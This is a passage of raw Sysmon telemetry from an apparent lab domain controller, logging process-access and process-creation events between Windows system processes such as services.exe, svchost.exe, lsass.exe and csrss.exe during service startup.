10341000x8000000000000000803Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000802Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000801Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000800Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000799Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000798Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000797Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000796Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000795Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000794Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000793Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0A00-000000007F01}8521116C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+52f1|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000792Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\System32\svchost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for Windows ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationsvchost.exeC:\Windows\system32\svchost.exe -k LocalServiceC:\Windows\system32\NT AUTHORITY\LOCAL SERVICE{A5F018FF-28BF-5F80-E503-000000000000}0x3e50SystemMD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x8000000000000000791Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000790Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000789Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000788Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000787Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000786Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000785Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000784Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000783Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BD-5F80-0A00-000000007F01}852940C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000782Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BD-5F80-0A00-000000007F01}852936C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000781Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.202{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for Windows ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationsvchost.exeC:\Windows\System32\svchost.exe -k termsvcsC:\Windows\system32\NT AUTHORITY\NETWORK SERVICE{A5F018FF-28BF-5F80-E403-000000000000}0x3e40SystemMD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x8000000000000000780Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000779Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000778Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000777Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 